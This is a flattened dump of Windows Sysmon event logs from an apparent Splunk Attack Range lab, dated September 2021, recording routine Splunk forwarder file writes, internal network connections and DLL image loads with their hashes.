15:01:13.372{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=76B6A2973779DBC02140BD9351596928,SHA256=67A0B0B83CC509B01DA7FFD80F4EC5DA9D694F817BA55069CE10EAAE84771696,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:14.712{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBCB1416F14FE50256B11CE489E04B0F,SHA256=3557848E4BA4954572833EEF0F06D61C642262CAFEB678C40CC2B6A325775A89,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016860Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:14.388{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E96DB0EEA22C396D8EB51F6B44EA3A1B,SHA256=BB96EDEE160207E519DAE119F9236C3DFB9480196FD19AFE5535AC21E460560A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:15.742{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC8497FC22BAF53613F8D772E0E91551,SHA256=4FBEA9FED0B84848F2744EAFEDD37F81061D7CCC90A1E893DEE69F5BB4306B2F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016861Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:15.435{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B85386B6D36A115B00AE92372E2B4FEF,SHA256=E5A2CC2DE6CA1576DAA0DBDE99BA1EB1707BEE47EAA317DCDEAD07513137FD9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:16.773{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=222BFB9B1F01D985DF1F427DC448D565,SHA256=E20ADCEEC1D06E275B4895037652FF3B4843DDBB86D27E3F6F87B9F90417225A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016864Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:15.381{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50321-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016863Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:16.459{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B12762BD79D214D2126142C14747CCA0,SHA256=1D7B78372EA64A4E28EF0B4813EE9AA166EE2EF8DD37B9B23D4DD975D66DCA16,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:14.345{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59627-false10.0.1.12-8000- 23542300x800000000000000016862Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:16.143{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-046MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016866Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:17.474{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F8ED68B5C96B46EBC2F528D7A819008F,SHA256=7FF7EE0FA25781DA1049A7BE50AFE10650929FDC93ABEB351B361C0D3528D9CC,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052606Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052605Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052604Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052603Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052602Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052601Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052600Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052599Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 23542300x800000000000000052598Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=224427ACAD1B69360405A67AB5BE5F1E,SHA256=FC9EFD04C0F2E83329F01C2308FB1BF02EC1FA8E8C89926706508AE7D98698F7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052597Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.940{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000052596Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052595Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052594Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052593Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052592Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052591Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052590Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052589Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052588Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000052587Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052586Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000052585Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000052584Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052583Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000052582Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000052581Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000052580Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000052578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000052577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000052575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000052574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000052573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000052572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000052571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000052570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000052569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:17.925{7BD73061-733D-613B-710B-00000000F001}4396C:\Program 